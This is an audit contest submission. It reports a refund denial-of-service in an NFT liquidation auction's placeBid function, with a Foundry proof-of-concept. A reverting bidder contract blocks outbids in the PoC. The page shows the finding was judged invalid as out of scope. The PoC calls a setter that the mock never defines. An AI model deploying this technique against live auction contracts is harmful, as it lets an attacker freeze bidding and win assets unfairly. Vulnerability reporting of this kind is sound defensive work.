Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

Refund Denial‑of‑Service in NFT Buyback Function

NFTLiquidator::placeBid()

Overview

In the placeBid function of the NFTLiquidator contract, when a new bid is placed, the contract attempts to refund the previous highest bidder using a direct transfer:

if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}

Because Solidity’s transfer forwards only 2300 gas, a malicious bidder could deploy a contract whose fallback (or receive) function deliberately reverts. If that bidder becomes the highest bidder, any subsequent bid will trigger a refund to that bidder—but the refund will always revert. As a result, every new bid will fail, effectively freezing the auction and allowing the attacker to win at a low cost.

Attack Path

  1. Malicious Bidder Setup:
    The attacker deploys a contract with a fallback function that always reverts on receiving Ether.

  2. Becoming the Highest Bidder:
    The attacker uses this contract to place a bid. Because the malicious fallback always reverts on refund, any later attempt to outbid the attacker will call:

    payable(data.highestBidder).transfer(data.highestBid);

    which will revert.

  3. Auction Lockdown:
    When any honest bidder tries to place a higher bid, the refund to the malicious bidder fails, reverting the entire transaction. This denial-of-service (DoS) situation prevents further bidding, allowing the attacker to win the auction and potentially manipulate the outcome.

Impact

  • Auction Integrity:
    The attack undermines the auction mechanism by locking it, thereby enabling the attacker to secure the NFT at an unfair price.

  • Economic Loss:
    Legitimate bidders are prevented from participating, potentially causing economic harm to market participants and distorting the liquidation process.

Foundry PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/token/ERC721/ERC721.sol";
import "openzeppelin-contracts/access/Ownable.sol";
import "openzeppelin-contracts/security/ReentrancyGuard.sol";
import "openzeppelin-contracts/token/ERC20/utils/SafeERC20.sol";
// Minimal NFT contract for testing.
contract TestNFT is ERC721 {
uint256 public nextTokenId;
constructor() ERC721("TestNFT", "TNFT") {}
function mint(address to) external returns (uint256) {
uint256 tokenId = nextTokenId;
_mint(to, tokenId);
nextTokenId++;
return tokenId;
}
}
// A malicious bidder contract whose fallback always reverts.
contract MaliciousBidder {
// Fallback that always reverts.
fallback() external payable {
revert("Refund rejected");
}
receive() external payable {
revert("Refund rejected");
}
}
// Simplified NFTLiquidator contract (only the placeBid function relevant to the PoC).
contract NFTLiquidatorMock is Ownable {
using SafeERC20 for IERC20;
struct TokenData {
uint256 debt;
uint256 auctionEndTime;
uint256 highestBid;
address highestBidder;
}
mapping(uint256 => TokenData) public tokenData;
uint256 public minBidIncreasePercentage; // e.g., 10 means 10%
event BidPlaced(uint256 indexed tokenId, address bidder, uint256 amount);
// For testing, we initialize auction end time in the future.
function startAuction(uint256 tokenId, uint256 startingPrice) external {
tokenData[tokenId] = TokenData({
debt: startingPrice, // using debt field as starting price for simplicity
auctionEndTime: block.timestamp + 1 days,
highestBid: 0,
highestBidder: address(0)
});
}
function placeBid(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
require(block.timestamp < data.auctionEndTime, "Auction ended");
uint256 minBidAmount = data.highestBid + (data.highestBid * minBidIncreasePercentage / 100);
if (msg.value <= minBidAmount) revert("Bid too low");
if (data.highestBidder != address(0)) {
// Refund the previous highest bidder.
payable(data.highestBidder).transfer(data.highestBid);
}
data.highestBid = msg.value;
data.highestBidder = msg.sender;
emit BidPlaced(tokenId, msg.sender, msg.value);
}
}
contract NFTLiquidatorPlaceBidTest is Test {
NFTLiquidatorMock public liquidator;
TestNFT public nft;
MaliciousBidder public attacker;
address public bidder = address(2);
function setUp() public {
liquidator = new NFTLiquidatorMock();
liquidator.setMinBidIncreasePercentage(10); // 10%
nft = new TestNFT();
attacker = new MaliciousBidder();
// Start an auction for tokenId 0 with starting price 100.
liquidator.startAuction(0, 100);
}
function testRefundDoSInPlaceBid() public {
// Attacker (using its contract address) places an initial bid.
vm.prank(address(attacker));
liquidator.placeBid{value: 200}(0);
// Now, when an honest bidder tries to outbid, the refund will be attempted.
vm.prank(bidder);
vm.expectRevert("Refund rejected");
liquidator.placeBid{value: 300}(0);
}
}

Mitigation

Replace the push-based refund mechanism with a pull-based approach. Instead of directly transferring Ether to the highest bidder during buyBackNFT, record the refund amount in a mapping that the bidder can withdraw in a separate transaction. Alternatively, use a low‑level call (e.g., using call{value: ...}) and handle refund failures gracefully without reverting the entire transaction.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!